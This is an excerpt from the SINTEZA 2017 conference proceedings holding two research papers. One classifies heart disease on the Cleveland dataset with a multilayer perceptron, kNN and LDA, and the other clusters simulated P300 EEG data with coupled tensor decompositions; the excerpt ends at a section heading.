



BOOK OF PROCEEDINGS

INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH



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SINTE7A 2017

ABOUT SINTEZA 2017

SINTEZA provides an ideal platform for the exchange of information and dissemination of best practices, advancements in the state-of-the-art and technical improvements in the domain of ICT and e-business related research in today's ubiquitous and virtual environment.

Rapid advances in information and communication technology (ICT) in recent decades have had a huge impact on numerous facets of everyday life and have created tremendous opportunities for economic, technological and social gains at a global scale. New technologies and scientific breakthroughs have altered the working and living environments making them safer, more convenient and more connected. As a key infrastructure of knowledge-based economies, ICT is a driving force for rapidly growing new sectors, including advanced computing and software development, business process outsourcing and various Internet services.

The conference seeks submissions from academics, researchers, and industry professionals presenting novel research on all practical and theoretical aspects in the field of ICT and their applications in a range of business and research fields.

The most innovative papers presented at this year's international scientific conference SINTEZA will be recommended for publication in Serbian Journal of Electrical Engineering (M24). The authors of the selected papers are obliged to submit an extended version of their paper that will be thoroughly reviewed in accordance with the criteria outlined by the editorial board of the journal. The papers that successfully undergo the review process shall appear in a regular issue of the journal.

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EFFECTIVE DIAGNOSIS OF HEART DISEASE PRESENCE USING ARTIFICIAL NEURAL NETWORKS

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Abstract:

Due to high complexity of decision making in medicine, it has been proven that usage of Neural Networks is in the cope with the aforementioned problem. Regarding the variety of the symptoms, one of the biggest challenges is heart disease. This research has shown that, depending on the symptoms, Multilayer Perceptron Classifier can effectively decide whether the patient is suffering from heart disease or not. Main goal of this paper is to determine the proper parameters setting for the Multilayer Perceptron algorithm in order to predict heart disease with higher accuracy. However, in order to compare the obtained results using MLP, the experiment is also done using kNN, and LDA algorithms. The results confirm that recognition rate of 96.67%, when using MLP, outperforms other methods when processing heart disease data.

Keywords:

Artificial Neural Network, Heart Disease, Multilayer Perceptron, Decision Making in Medicine, Deep Learning.

1. INTRODUCTION

Nowadays, human population (not mentioning all other spheres aside) is facing the enormous speed growing of digital age, and upcoming era of Big Data, Artificial Intelligence (AI), Machine Learning (ML) and Deep Learning (DL). Starting from the bottom, back in the 1950., the man who made fundament research about AI, Alan Turing, gave a chance to humanity to continue expanding this area and to encounter vast possibilities of this science [1]. Teaching machines to behave like humans, think like humans, act like humans, make decisions like humans but with little chance for failure, for sure is the best challenge and unavoidable bright future that is coming. Machines become smart, and tend to overcome humans. Therefore, AI is intertwined with computer science, finance, hospitals and medicine, heavy industry, transportations, games and toys, aviation and many other areas.

The big step ahead in AI applications is in healthcare, due to the fact that is the most important thing – to save other people lives. While intelligence-based medicine is growing, we are facing possibilities starting from healthcare systems with "online doctors" which instantly tell you which drug is most suitable for your problem, to predicting many

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e-mail: anjegus@singidunum.ac.rs diseases, and at the end to detect gene mutation which are triggers to cancer occurrence and may save you years of life, and even get you healed [2].

Many researchers try to give contribution to this field. Durairaj et al. (2015) try to predict the existence of heart disease using neural network algorithm with back propagation [3]. On the around 13 medical attributes from Cleveland dataset, they applied four different feed-forwarded back propagation training functions, and obtained results are, 80.13%, 82.15%, 93.26%, and 96.29%, respectively.

Abushariah et al (2014) tried to develop heart disease diagnosis system based on two approaches: MLP, and Adaptive Neuro-Fuzzy Inference Systems. These algorithms were applied on Cleveland dataset. The best accuracy that system achieved for each approach, were 87.04%, and 75.93%, respectively [4].

Sunila et al (2012) have applied ordinary and improved MLP algorithm on different medical dataset in order to design decision support system for cardiovascular heart disease diagnosis. The results obtained with improved MLP on Cleveland, Hungarian, and Switzerland dataset were 82.8%, 80.73%, and 93.49%, respectively [5].

Olaniyi et al (2015), applied MLP, and Support Vector Machine (SVM) on medical dataset in order to develop an intelligent system that would prevent misdiagnosis in heart diseases. The obtained results are 85% with MLP and 87.5% with SVM [6].

Wadhonkar et al (2015) also used MLP on different medical datasets in order set the architecture for the classification of the heart disease. Datasets used are Cleveland, Hungarian, Switzerland, and Long Beach V.A. The obtained performances for the MLP classifier with 10% used of testing data were 96.29% [7].

In this paper we have applied MLP, k-Nearest Neighbors (kNN), and Linear Discriminant Analysis (LDA) on Cleveland dataset in order to find the best possible classifier for prediction the heart disease presence. Paper also discusses new trends in the field of deep learning algorithms. Furthermore, the adequate set of MLP parameters for best accuracy is given.

The remainder of the paper is structured as follows: In Section II, deep learning in neural network algorithms are discussed; In the Section III, the reasons why MLP gives the best results when predicting the presence of heart anomalies, are explained; Section IV represents the experiment results, and within Section V conclusion and final remarks are given.

2. DEEP LEARNING IN NEURAL NETWORKS

When thinking about the future trends and consequences of deep learning algorithm applications, the first question that appears in our minds is "What is the best possible way to train the machines to learn in order to predict with the higher accuracy?". Inputting huge collections of structured data into machine, applying specific algorithms, and letting machine to mine the data and learn form history of patterns in order to predict, adapt, and act autonomously, is the primary idea of ML, as the part of AI.

Speaking about medicine, not so inappreciable fact is if we give a machine a large amount of patient's disease symptoms, and data collection about all possible diseases, machine will take time and learn by applying diverse algorithms on mentioned data. Imagine the great outcome it could be. Is it way better than, e.g. cardiologist reacting by intuitive for patient experiencing heart attack when there is no time, or struggling with just simple ventricular tachycardia caused by heart disease, such as a congenital heart defect? [8]

Take one step further. By far, we have one missing puzzle, to complete the described scenario. The breakout in 2016. is taking the lead over all, it is fast-growing and called Deep Learning. DL is chasing the AI using the benefits of ubiquitous ML applied with diverse algorithms that attempt to extract abstractions from data [3]. DL faces the challenge to simplify every complex input in manner that the outcome depicts the same result as it would human reproduction. DL trains Neural Networks (NN) using certain set of techniques [9].

From a biological point of view, human brain is composed of neurons, which are strongly interconnected at synapses. As they accept impulse to one entry, process it and carry out on the other side, we can do many tasks such as recognize picture, move body or hear voices. Seeing picture over and over again, including emotions within, make our synaptic points stronger which further implies that we got our neurons trained to react on a certain picture producing related emotion [10]. That's where NN idea is originating – simulating human brain (Fig. 1).

Artificial Neural Networks (ANN) tend to replace neurons and dendrites, with computer powerful tools such as CPUs and GPUs. Training NN means to apply specific algorithms by oscillating with synaptic weights in order to get realistic output [1]. Our NNs can have different number of neurons, synapses and the impulse directions can differ one from another. Thus, NN architecture is numerous and various. First, basic architecture is Feed Forward Single Layer, followed by Feed Forward Multilayer and Recurrent NNs. Each of these architectures are characterized by layers. First, input layer, second, output layer and the layers between called hidden layers where diverse operations occur. Every layer has, synaptic weight of each neuron, and bias. Synaptic weight refers to connection intensity of nodes, while Bias is a skew that is added to input and every other hidden layer, and allows us to better predict data fit, giving a flexibility to the model. Considering problem where all input values are equal to zero, without bias any NN would not be able to fit the data. The parameter between inputs and activation function is Sumator. Sumator is used to calculate all parameters before they are proceeded to Activation function. Activation function is triggered if value exceeds threshold, so the signal is going to be sent [8]. Figure 2 illustrates the principle that has been described.



Fig. 1. Interconnections between neurons in human brain



Fig. 2. Nonlinear perceptron model

First activation function – step or heaviside functions are used for binary representations, since they can have values [1,0]. For biological neurons we need values among 0 and 1, where Sigmoid function takes the case.

Gradient descent (GD) or method of steepest descent is an optimization algorithm to find local minimum of function, in a way of going one step proportional of positive gradient at the point, till reaching local minimum (Fig. 3).



Fig. 3. Local minimum and maximum of a function

Negative gradients are orthogonal to curves at every step. The opposite method which counts local maximum is Gradient Ascent (GA). Let's take one well-known example towards minimum and maximum. Hill Climbing (HC) explains that if we start climbing on the mountain, and reach the first peak or foothill, GD and GA helps us not to be blinded about the real top or downhill which in fact, we are seeking for [1].

These methods are combined with Back propagation algorithm (BP) which is algorithm for fast training NNs. Since there was always a problem how to fit the values of bias and synaptic weights, BP actually calculates and changes biases and synaptic weights, in order to get closer to realistic outcome, thus learning the NN. It can also give us possibility to see the behavior of network, by setting other values [9].

3. HEART DISEASE PREDICTION USING MULTILAYER PERCEPTRON CLASSIFIER

Multilayer Perceptron (MLP) fits the best to problem that we are researching because it is of great importance to properly classify presence of any kind of anomalies, with respect to symptoms affecting people. It represents form of supervised learning where function $f(\cdot) : \mathbb{R}^m \rightarrow \mathbb{R}^\circ$ learns from input which is determined by parameter m, that stands for number of dimensions for input, and give the output presented by parameter o that is number of dimensions for output. MLP can learn depending on input features $X=x_1,x_2,...,x_m$ and output targets y, either to classify or make a regression of non-linear function. Subsequently, it has a capability to learn models in real time (online learning) [11]. Classification here identify the targets or class label of an object [12]. Class MLPClassifier implements MLP algorithm which trains NN using BP.

Considering multiple possibilities of adapting MLP object, each parameter gives variety of solutions regarding your desirable output. It consists of hidden_layer_sizes, activation, solver, alpha, batch size, learning rate, max_ iter, random state, shuffle, tol, learning_rate_init, power_t, verbose, warm_start, momentum, nestrovs_momentum, early_stopping, validation_fraction, beta_1, beta_2 and epsilon, respectively.

Parameter hidden_layer_sizes represents matrix of values for hidden layers and for number of neurons in each hidden layer. Important part of every NN is choosing the most suitable algorithm for weight optimization, which we can define with solver parameter. Algorithm can be LBFGS, Stochastic Gradient Descent or Adam [11]. In order to prevent over fitting, regularization is a very meaningful method in ML [13]. From mathematical point of view, it adds a regularization term in order to avert the coefficients to overfit. Following, alpha represents the sum of the weights. To determine state for random number generator we use aforementioned parameter random state.

4. EXPERIMENTS AND RESULTS

For the purpose of this research, we have used Cleveland database that has 303 instances and 76 attributes, where 13 of them are actually utilized, and 14th represents the predicted value. Table 1. describes 14 attributes, respectively.

Attribute name	Description			
Age	Age in years			
Sex	1 = male; 0 = female			
	Chest pain type:			
Ср	Value 1 = typical angina Value 2 = atypical angina Value 3 = non-anginal pain Value 4 = asymptomatic			

Trestbps	Resting blood pressure (in Hg)		
Chol	Serum cholestoral in mg/dl		
Fbs	Fasting blood sugar > 120mg/dl; 1 = true, 0 = false		
Restecg	Resting electrocardiographic results: Value 0 = normal Value 1 = having ST-T wave abnormality (T wave inversions and/or ST elevation or depression of > 0.05 mV) Value 2 = showing probable or definite left ventricular hypertrophy by Estes' criteria		
Thalac Maximum heart rate achieved			
Exang	Exercise induced angina (1 = yes; 0 = no)		
Oldpeak	ST depression induced by exercise relative to rest		
Slope	The slope of the peak exercise ST segment: Value 1: upsloping Value 2: flat Value 3: downsloping		
Са	Number of major vessels (0-3) colored by flourosopy		
Thal	3 = normal; 6 = fixed defect; 7 = reversable defect		
Num	The predicted attribute		

Table 1. Description of dataset attributes

Number of instances that were tested are 261, from which 76% is used for training set and 10% for test set. Training set was used for learning NN. Process of the experiment had this flow: Firstly, two arrays were generated, one of them is 2D array that represent training set which has 231 elements with 13 features. The second 2D array consists of 30 elements and stands for test set. Targets were defined in another 2D array with 2 features, for the purpose of mapping training set with his target pair. First feature is coded with [0,0] and gives the result of a patient which has no disease, where second feature coded [1,1] gives the result of a patient suffering from disease. Following, MLP Classifier instance was set with certain parameters in order to train NN. Training set was mapped with targets using the fit function. After fitting, function predict was used for foreseeing outputs. The output field refers to the presence of heart disease in the patient. It is integer valued from 0 (no presence) to 1 (has presence) [14].

For this experiment we have used open source scikitlearn [15] from which we have used machine learning algorithms developed in Python Notebook. For running the code we have used Anaconda platform [16].

In order to fully confirm good performances that MLP has achieved, we have also applied Linear

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Discriminant Analysis (LDA) and k-Nearest Neighbors (kNN) algorithms to the same dataset. LDA is most commonly used statistical technique in data classification and dimensionality reduction [17]. Fundamental concept of LDA is finding a linear combination of predictors (targets) that separates two classes in a best way. After applying LDA on training set we got results giving 88,25% accuracy. Test set with randomly chosen values gave 93,33% accuracy, which confirmed effectiveness for classification problems. Following, we continue our research targeting kNN algorithm. Entire training set is model for kNN. For unseen data, kNN search through existing data finding the k-most nearest neighbors. Accordingly, the major feature of kNN is distance measuring, without guessing anything about input data. Hence, value of parameter k could vary depending on approximation of input data. Therefore, we set k to value 1 which appears to be the most suitable, and got result with 74,49% of accuracy.

Based on obtained results we can conclude that used classification algorithms show their full potential on smaller datasets with smaller number of targets. Regarding MLP precision on larger datasets, it gives the best results even if you have more targets. The percentage of accuracy that we got according to dataset that we use for the purpose of this paper is 96,67%. Classification and results are shown in Figure 4, and 5, respectively.

Figure 4 represents training data which represents patients that have disease or not. There are also imported data from test set which represent patients for whom we need to determine whether they are suffering from heart disease or not.

Figure 5 predicted and classified data. From the previous parameter "indeterminate" served for deriving new results which were correctly classified as healthy or sick. Also, there were points of wrongly classified patients, which showed where algorithm had made a mistake.



Fig. 4. MLP Classifier diagram representing training set data and test data without mapping values with targets



Fig. 5. MLP Classifier effectiveness with all classified data shown

5. CONCLUSION

Lately, the field of deep learning is progressively advancing. Researchers try to find the best possible algorithm, that will achieve best performance and provide even better accuracy. It seams that goal is to develop algorithm that is better of human mind. This fact can scare us, but when we take into account that medical errors are the third-leading cause of death, then we are more then thrilled with a thought of perfect mind (machine) that never makes mistakes. In this paper we tried to contribute in the field of heart disease diagnosis, therefore we have applied several algorithms on the Cleveland dataset. In order to compare our results, in the first part of the paper we have analyzed previous studies in this domain. So far the best accuracy that is achieved is 96.29% with MLP when applied on Cleveland dataset. In this paper we also try to define the best parameters for MLP algorithm in order to achieve best performance. According to the obtained results we can confirm that the neural network algorithm MLP outperformed previous results, and other methods, with the recognition rate of 96.67%.

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DATA-DRIVEN CLUSTERING OF P300 EEG DATA USING COUPLED TENSOR DECOMPOSITIONS

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Abstract:

Recently, it was shown that auditory brain-computer- interface (BCI) classifications can be performed in real life environments. However, the need for initial training of existing supervised classifiers on large parts of that data discourages practical application. Reducing calibration time of BCI analyses would benefit short-term interactions. The current paper presents a carefully simulated study of P300 Event-Related-Potential (ERP) data to illustrate the performance of tensor decompositions for data-driven classification of the P300 effect. The aim of this study was to investigate whether coupling of a high- and low-noise dataset can enhance data-driven clustering of the P300. Imposing structure and linking the decompositions of higher dimensional data arrays called tensors was hypothesized to increase the classification accuracy. For the highest noise dataset (SNR=0.60), we demonstrated that imposing a coupling to datasets with a lower noise level can significantly improve the extracted clusters to classify target from non-target trials to achieve equal accuracy to the widely used supervised regularized Linear-Discriminant-Analysis (rLDA). We evaluated the performance of Canonical Polyadic Decomposition (CPD) and decomposition in multilinear rank Lr, Lr, 1 terms (LL1). These structured models do not need a training phase or label information, although they require additional data. Finally, we illustrated the potential of the tensor approach for the analysis of simultaneous EEG recordings in which the trial mode is shared between subjects. Without a priori knowledge of the signal of interest, the tensor-based models successfully separated the two stimuli classes in the highest noise scenario up to 100% for coupling of five simulated subjects. These results highlight the benefits of exploiting structure in the stimuli and experimental setup (e.g., conditions or subjects).

Keywords:

Tensor Decompositions, EEG, P300, Data-Driven Classification.

1. INTRODUCTION

Electroencephalography (EEG) is a measurement of electrical activities in the brain which are caused by large neuron group activity. Various electrodes positioned on the scalp record electrical activity, providing excellent resolution of time and enabling the observation and identification of specific areas of the brain that are active at any given point, even on sub-second timescales. Research frequently concentrates on distinguishing between states of the brain relative to events, e.g., the presentation of images (visual) or sounds (auditory). These different states can be utilized to control a device through a braincomputer interface (BCI).

The most frequently studied feature in BCIs with EEG is the P300 Event-Related Potential (ERP) which is a positive deflection around 300-500ms in the EEG, produced as a response to both task-relevant and rare stimuli [1]. BCIs were originally conceived to function as access to computers for patients that are locked-in. In recent times they have also been recognized as having potential applications for users that are healthy-certainly if they are not restricted by the bounds of conventional laboratory scenarios [2]. The majority of studies on BCI rely on supervised machine-learning techniques to distinguish task-relevant stimuli [3]. Essentially, a substantial part of the data is discarded for model training, rather than interacting with the BCI, which comes at the cost of consuming users' time and effort. The use of calibrationfree classifiers could increase the application potential significantly by removing this specific training phase.

As it is possible to naturally represent ERP data as a third- order tensor (i.e., channels × time × trials), it may be beneficial to exploit this multidimensional structure in the analysis. The existence of a specific spatiotemporal pattern which underlies the target trials, and is not present in the non- targets, can be elegantly exposed by means of tensor decompositions [4]. These optimization-based methods enable a priori knowledge of the data (e.g., noise levels, Expected ERP) and stimulus protocol to be incorporated in the analysis via constraints [5, 6].

Canonical Polyadic Decomposition (CPD) and decomposition in multilinear rank Lr,Lr,1 terms (LL1) are known to have the ability to classify the data of singletrial ERP in ways that are completely data driven [4]. In the current study these models are evaluated to derive meaningful P300 ERP-related components from coupling of various datasets with different levels of signal-to-noise ratio (SNR). Coupling between the datasets is expressed by using one or more common factors in the different factorizations of the tensor models. The coupling of different factors and the influence of noise on the derived clustering of the P300 is evaluated on simulated EEG data (i.e., 15 datasets of 200 trials) of four different noise levels (SNR-range: 3.73 - 0.60) which mimic realistic settings; for example, the visual P300 in lab recordings [7] as well as auditory P300 in recent mobile EEG recordings [8]. The tensor decomposition results were compared to that of the widely utilized supervised rLDA classification [e.g., in 4,8].

The single CPD and LL1 models are shown to be able to separate ERP subcomponents such as the N100 and P300 and provide reliable differentiation of target and non-target stimuli for low noise levels. For the highest noise levels, coupling of a high- and low-noise dataset enhances the data-driven clustering of the stimuli significantly. Moreover, we illustrate different ways of coupling the various factors in the tensor decompositions to tailor the model to specific usage scenarios (e.g., multi-user recordings [9,10]).

In the next section we explain the simulated data generation and characteristics of the signal and noise. Consecutively the preprocessing steps performed are elaborated, followed by a description of the (coupled) tensor models that are considered in the analysis. Finally, the results of the tensor models and reference method are presented and discussed.

2. DATA GENERATION AND PREPROCESSING

The simulated data were generated using the BESA simulator (www.besa.de/products/besa-simulator/). This simulator utilizes a spherical four-shell head model to generate EEG data based on predefined dipoles [11]. Five dipoles were used for the generation of P300 ERPs as target trials, which are depicted in Fig. 1. Two dipoles with a frontal focus correspond primarily to the N100 effect, a central dipole to the N200 and P3a effects and finally two posterior dipoles that represent a P300-like deflection around 450 ms after stimulus presentation. Consecutively, the two dipoles corresponding to the P300 (i.e., dipole 4 and 5 in Fig. 1) were diminished in amplitude to obtain a second set of EEG data without explicit P300 effects, hereafter referred to as the non-target Trials. Differentiating between the target and non-target trials is the primary aim in BCI approaches, and the simulated data resembles an auditory oddball paradigm [e.g., 8, 12].

The EEG data were simulated at 24 channels corresponding to standard 10-20 locations: FP1, FP2, Fz, F7, F8, FC1, FC2, Cz, C3, C4, T7, T8, CPz, CP1, CP2, CP5, CP6, TP9, TP10, Pz, P3, P4, O1 and O2. The data were generated with a sampling rate of 500Hz. The topography and sampling rate are identical to that of recently published mobile EEG studies ([12]). To obtain realistic data, several types of noise were added to the model. First, the amplitude of the sources is modulated randomly to differ up to 50% in between trials. Second, EEG-like broadband noise (i.e., as implemented in the BESA simulator) was added to the dataset to simulate background activity unrelated to the simulated ERP events. The noise had a relative high correlation between signal amplitudes from electrodes that were close together. noise-free data were generated for reference purposes, and in addition four different proportions of noise were added to the ERP effects. The noise amplitude is scaled by its root mean square (RMS) value to match noise values of 0.5, 1.0, 1.5 and 2.0 uV, and alpha activity at 8-12Hz was generated and added to the signals with an amplitude that was 50% of the overall noise RMS value per trial. The four noise levels corresponded to SNR values of 3.73, 1.75, 0.97, 0.60 from high to low, respectively. The signal-to-noise ratio (SNR) was calculated following previously described procedures in the literature as the ratio of the maximum P300 peak and the pre-stimulus RMS of the EEG.

We simulated 15 datasets of 100 target and 100 nontarget Trials for each of the four noise levels and the noisefree case. One trial lasted 1000ms in which the stimulus onset was simulated at 200ms. The data were preprocessed offline using EEGLAB and MATLAB (Mathworks Inc., Natick, MA). The EEG data were 0.5-20 Hz band-pass filtered and baseline- corrected (-200-0 ms) after rereferencing to the mean of TP9 and TP10. To eliminate the effect of outliers in the data, we performed a Z-score normalization per channel and trial. This way, the overall variance is more uniform before analyzing the data with the tensor models. The average ERPs at channel Pz for the target and nontarget stimuli are presented in Fig. 2 for each of the noise levels. The corresponding SNR values illustrate that the last two noise levels portray situations in which the noise is equal to or higher than the signal of interest (i.e., P300), mimicking realistic mobile EEG P300 scenarios [8].



Fig. 1. Overview of the dipole spatial location on a topdown view (left) and temporal characteristics of each dipole on the right. The blue lines depict the temporal progression in the Target trials and the orange for the Non-Target trials. Image obtained from the BESA simulator (available online at www.besa.de/products/besasimulator) and modified to highlight the P300 source.



Fig. 2. Average ERPs at Channel Pz for the noise free case (most left) and the four increasing levels of noise from left to right respectively.

Fig. 2. Average ERPs at Channel Pz for the noise free case (most left) and the four increasing levels of noise from left to right respectively.

3. TENSOR BASED MODELS

CPD

Multidimensional signals can be decomposed by the CPD as a sum of rank-1 terms [13]. For the three-dimensional case, the CPD will decompose a tensor X as follows:



with R representing the number of components, a_r , b_r , and *c*₂, the signatures of every atom in each of the modes, and ε , the model error. Each mode has a specific signature which characterizes the extracted component; in the three- dimensional tensor representing the ERP as a channel × time × trials structure, the spatial distribution of the different atoms would be contained in $a_{,}$ the time courses would be contained in b_r , and a strength of the space-time signature across trials would be given in c_r . An example of a decomposition with CPD is illustrated in Fig. 3. This represents the decomposition of a dataset of intermediate noise level (SNR = 1.75). The first component extracts characteristics that relate to the N100 ERP with a frontal central focus, and the second to the P300 effect with a posterior topography. The last component reflects an alpha noise source. From the third mode (i.e., trial mode), it can be noted that the second component clearly differentiates between the two classes in the data. In this dataset the trials could be separated with 92% accuracy.

The CPD model is trilinear, which means that each mode's vectors are proportional to each other within a rank-1 component. Generally, if the data follows a rank *R* structure, the decomposition is unique up to permutation and scaling of the extracted components [14]. The size of the data tensor for the single CPD and single LL1 models is $24 \times 500 \times 200$ for the channels time and trial dimension, respectively.

LL1 decompositions

Although CPD provides interpretable components, the model can be too restrictive for some applications, as it does not model all variability in the data [4, 15]. LL1 allows the modeling of more variation in two factors (denoted by Lr) [16,17]. While for the CPD model the time course of a certain component is the same on all channels, LL1 will allow some variation of the time course on the different channels. The LL1 approximates a third-order tensor by a sum of R terms, each of which is an outer product of a rank-Lr matrix and a nonzero vector. A three-dimensional data tensor X can be decomposed by a LL1 as:



The tensor X is the sum of the outer products of a rank Lr matrix (the product of matrices Ar and Br-transposed) and the component vector cr, with R representing the number of components and ε , again the model error. Similar to the rank, Lr should be set a priori. In our example we allow the spatial and temporal mode to be of higher rank as compared to the CPD models. This is expected to capture time and waveform variability more accurately between the target and non-target effects as constituted in the trials. The interpretation of the trial dimension c is similar as to the one from CPD model. An overview of tensor decompositions used in signal processing applications is presented in [18] and [19].

Coupled Decompositions

Instead of decomposing a single dataset, CPD and LL1 can be used to express coupling between datasets. A so-called coupled decomposition of two datasets can be achieved in a framework known as Structured-Data Fusion (SDF) which is a specific syntax to impose structure on factors in the tensor decomposition [5, 6]. For example, we can impose equality between the spatial factors of two decomposed datasets of different SNR level. This is illustrated for the CPD case in the schematic below, indicating equality between both the spatial and temporal mode in the two datasets. In the current work, we studied the effectiveness on the P300 separation when the highest noise condition was coupled with a lower-noise-level dataset. This is based on the assumption that the underlying source model for the P300 in both datasets is (roughly) similar and only the variability over trials (over the course of the experiment) is different. For both the CPD and LL1, we evaluated the clustering on the lowest SNR dataset when jointly decomposed with higher SNR datasets. The decomposition of both datasets happens simultaneously and without any additional stimulus information. The size of the coupled model is comprised of 2 data tensors of dimensions $24 \times 500 \times 200$ for the channel, time and trial dimension, respectively.



Fig. 3. Example CPD outcome of a dataset from noise-level 2, illustrating the decomposition with the corresponding spatial, temporal and trial modes for a model or Rank = 3. The components depict the N100, P300 and noise signature from left to right, respectively. The first half of the trials corresponds to the target Trials, the latter to non-targets. Component 2 is able to separate the classes by 92%, based on the factor weights of the third mode.



Fixed-Factor Decompositions

Tensor decompositions can be applied in a supervised way by transferring factors between models. For example,

a spatiotemporal signature from one CPD or LL1 model from a low noise dataset can be chosen and imposed on the decomposition of a high noise dataset. This way, we aim to achieve a better clustering of the target trials in contrast to the non-targets in the high noise conditions. This so-called fixed- factor decomposition requires the datasets to be decomposed consecutively and relies on identifying the most useful component in the first decomposition that is to be transferred. This concept is illustrated in the schematic below. Note that the top decomposition is evaluated first and the best temporal- spatial pattern is transferred to the second model. The size of each datatensor is $24 \times 500 \times 200$ (channels, time and trial), and each is decomposed independently of the other.





Besides coupling or fixing factors of the spatial or temporal modes, one could opt for coupling the trial mode of two or more datasets. This could be useful for a specific type of paradigm that is gaining momentum in the past years in the field of EEG research and is comprised of simultaneous recordings of multiple subjects. One example of such paradigm is the control of a BCI Space Invaders game by two subjects [9] and another, the simultaneous analysis of EEG in response to video in a classroom environment [10]. Since these subjects may have different spatiotemporal patterns, the spatial and temporal modes are left unconstrained. However, the trial (i.e., time) dimension is assumed to be identical, as the subjects are doing the same task at the same time. The schematic below illustrates the constrained CPD model in which the third (trial) mode is shared between datasets. This way the CPD or LL1 model derives the shared information between two or more of such datasets on the trial factor. The additional structure in the trial factor is employed to increase the overall SNR. The performance of this coupling is evaluated in the current study by combining up to five datasets of the highest noise scenario (i.e., SNR = 0.60) to increase the overall distinction between target and non-target trials. The size of data that is used in the decompositions is 1 to 5 times a single subject dataset of dimensions $24 \times 500 \times 200$ that represent the channel, time and trial dimension, respectively.



Decomposition Parameters

In this study, all CPD and LL1 models were computed with the nonlinear least squares (NLS) algorithm in the publicly available Tensorlab 3.0 toolbox [5]. These methods are dependent on several parameters of which the following are evaluated: the initialization of the model, the number of iterations of the NLS algorithm, the number of components (i.e., Rank R) and, specifically for LL1, the value of L. Unless stated otherwise, all models were initialized randomly. By default, all computations were allowed up to 1000 iterations for the NLS. Post hoc evaluation of the number of iterations did not improve the results and these results were therefore omitted because of space limitations. In the case of LL1, values of L>3 showed no clear differences on an extra simulated dataset and therefore a value of L=3 was chosen for all LL1 models in the current analysis. The Rank of the models was evaluated explicitly for Ranks of 1 to 10.

Clustering and Classification

The factor loading on the trial dimension can be used to naturally obtain two clusters (e.g., Fig. 3, Component 2). Accuracies were obtained by taking the median value of the trial factor as threshold for each component in the decomposition to obtain two clusters. The resulting classes are compared to the true labels, and this results in a clustering percentage for each component. This method only allows for separation of the trials into two classes; it does not identify which class corresponds to the target or distractor stimuli. Nevertheless, identifying the stimulus may be derived from the corresponding spatiotemporal signature in the other modes. Evaluation of the Tensorbased clustering is achieved by a comparison to those of rLDA, which is one of the widely used P300 classification algorithms [e.g., 8, 12]. This requires a separate training phase to calibrate the classifier function. Essentially a substantial part of the data is discarded for model training, rather than interacting with the BCI, which comes at the cost of consuming users' time and effort [3]. The basic LDA feature set comprised seventeen 47ms data bins on all 12 electrodes between 0–800 ms, which is reported repeatedly as an efficient feature set for classifying the P300 [8, 12]. Shrinkage regularization as implemented in BCILAB is used for rLDA classification. Per subject, the classifiers are trained based on five-fold cross-validation procedure.

4. RESULTS

Single Dataset Models

The grand average classification accuracies are summarized in Table 1. For the conditions 'without noise' and 'lowest noise level' (SNR = 3.73), all models performed near 100% for separating the target from non-target trials. In the case of an SNR of 1.75, the clustering was on average correct for 92% of the trials, for all methods. The two highest noise cases (noise 3 and 4) were significantly better clustered by the supervised rLDA, as opposed to the LL1 models, (t14= 5.93, p<0.0001) and (t14= 14.33, p<0.0001) respectively. The CPD results were on par with the rLDA for the noise 3 case, even though they were lower in the highest noise data (t14= 4.53, p<0.001).

	Average Clustering % (± SD)				
Method	Noise- Free	Noise 1 SNR = 3.73	Noise 2 SNR = 1.75	Noise 3 SNR = 0.97	Noise 4 SNR = 0.60
Supervised	100.0	99.0	91.8	85.6	78.9
rLDA	(±0)	(±0.9)	(±1.3)	(±3.0)	(±2.9
uncoupled	100.0	99.6	92.6	85.0	71.0
CPD	(±0)	(±0.5)	(±2.0)	(±3.0)	(±7.1)*
uncoupled	100.0	99.3	91.9	73.3	62.9
LL1	(±0)	(±0.6)	(±1.9)	(±7.5)*	(±3.2)*

Table 1. Average accuracies of the rLDA, CPD and LL1 method for discriminating between target and non-target trials for each of the five different levels of noise. Values with an asterix were significantly lower as compared to rLDA (p < 0.001). Fig. 4 illustrates the influence of the Rank of the tensor models on the clustering percentage. The number of components was found to be optimal for 3-4 components over all noise levels. This is similar to previously described results on clustering mobile EEG data with CPD [20]. LL1 outperforms the CPD results for models of only one component for all noise levels. Similarly, the LL1 achieves better clustering for higher component numbers (i.e., > 5) for the lowest noise level. A remarkable finding is that the LL1 models performed significantly lower on the two highest noise levels, as compared to CPD if the Rank of the models is larger than 1.

Transferring Spatial and Temporal factors

Transferring the most discriminative spatial and temporal factor from a low-noise dataset to the decomposition of the highest-noise dataset improves the clustering for both the CPD and LL1 up to 83% and 81%, respectively. This procedure can be best compared to transferring knowledge of the same subject in between different conditions or recordings. Fig. 5 illustrates the clustering results on the highest noise level and the origin of the fixed component: the noise-free case, or one of the other three noise levels. Surprisingly, the transferred spatial and temporal factor from the noise-free (i.e., noise level 0) component is not very efficient in the highest noise dataset, as is evident from the blue line in Fig. 5. Note that these results are not dependent on the number of components. This is to be expected, as the first component is always fixed and already contains a good estimate of the P300 signal of interest, and therefore the other components are mostly filled by noise. For almost all presented fixed factor decompositions, the fixed component was the most discriminative. This removes the need for component selection but requires label information of the data tensor that the factors were taken from, rendering the method supervised.



Fig. 5. Accuracies of CPD and LL1 with a fixed factor for the highest noise condition. Each line represents a different noise level from which the best spatial and temporal factors were identified to be fixated in the highest noise dataset decomposition.

Coupled models of low and high noise

With the coupled models, we aim to increase the clustering of the highest noise level, as here, the single-model results fall short of supervised alternatives such as the rLDA presented here. Clustering the highest noise condition (SNR = 0.60) through a structured coupled CPD with a dataset from one of the lower noise-level datasets resulted in a clustering percentage of 81.9% (\pm 2.0), 80.3% (\pm 2.7), 79.4% (\pm 2.5) and 78.3% (\pm 3.0) for the lowest to highest noise dataset. These values are significantly higher compared to the single CPD model (i.e., 71.0% (\pm 7.1)). Similarly, the single model LL1 estimate (62.9% (\pm 3.2)) could be improved substantially for the noise-level sets, 82.9% (\pm 2.4), 82.1% (\pm 3.3), 75.7% (\pm 3.7) and 64.2%

 (± 3.4) from low to high noise, respectively. Fig. 6 depicts the influence of the noise level of the dataset that was jointly decomposed and the dependency on the Rank of the models for CPD and LL1. Specifying the number of components appears more crucial for LL1 as compared to CPD: for the former, higher ranks are required when coupled to noisier level datasets (c.q. noise level 0-1 to 2-3). In summary, these results are similar to the fixedfactor results presented in the previous paragraph without the need of specific label information.



Fig. 6. The CPD and LL1 clustering accuracy of the highest-noise-level dataset if it was coupled to one of the lowest four noise levels (indicated as level 0-3) in contrast to the number of components in the decomposition.

Coupling in the Trial Dimension

